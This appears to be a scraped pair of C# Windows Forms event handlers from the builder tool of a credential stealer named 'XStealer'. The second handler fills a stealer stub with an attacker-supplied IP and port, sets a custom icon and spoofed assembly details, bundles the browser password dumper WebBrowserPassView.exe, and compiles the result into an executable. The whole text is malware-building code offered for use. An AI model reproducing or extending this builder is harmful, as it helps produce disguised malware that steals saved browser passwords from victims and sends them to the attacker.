示例#1
0
 private void button6_Click(object sender, EventArgs e)
 {
     // show choose icon file fialog
     textBox12.Text = FileDialog.Ofd("Ico output|*.ico");
 }
示例#2
0
        private void button4_Click(object sender, EventArgs e)
        {
            // Check if ip is valid
            if (General.ValidateIPv4(textBox4.Text) == true)
            {
                // Check if port is valid
                if (textBox3.TextLength != 0)
                {
                    // Set variables
                    string Code = General.ReadStubCode("Code.txt", "XStealer", "StubFiles");
                    string Ico  = "";
                    string OutputPath;

                    // Set user settings
                    Code = Code.Replace("%IP%", textBox4.Text);
                    Code = Code.Replace("%PORT%", textBox3.Text);

                    // Check if icon is wanted
                    if (textBox12.Text.Length == 0)
                    {
                        Ico = null;
                    }
                    else
                    {
                        Ico = textBox12.Text;
                    }

                    // Set assembly
                    AssemblyInfo[0] = textBox6.Text;
                    AssemblyInfo[1] = textBox5.Text;
                    AssemblyInfo[2] = textBox8.Text;
                    AssemblyInfo[3] = textBox7.Text;
                    AssemblyInfo[4] = textBox10.Text;
                    AssemblyInfo[5] = textBox9.Text;
                    AssemblyInfo[6] = textBox11.Text;

                    // Set output path
                    OutputPath = FileDialog.Sfd("exe output|*.exe");

                    // Check if file exists
                    if (!File.Exists("WebBrowserPassView.exe"))
                    {
                        // Extract file from resources
                        General.Extract("XStealer", Directory.GetCurrentDirectory(), "StubFiles", "WebBrowserPassView.exe");
                    }

                    // Compile stub
                    CodeDom.CompileExecutable(new[] { Code }, OutputPath, Ico, AssemblyInfo, new[] { "WebBrowserPassView.exe" }, false, new[] { "system.dll" });

                    // Delete file
                    File.Delete("WebBrowserPassView.exe");
                }
                else
                {
                    // Display messagebox
                    MessageBox.Show("Error: invalid port");
                }
            }
            else
            {
                // Display messagebox
                MessageBox.Show("Error: invalid ip");
            }
        }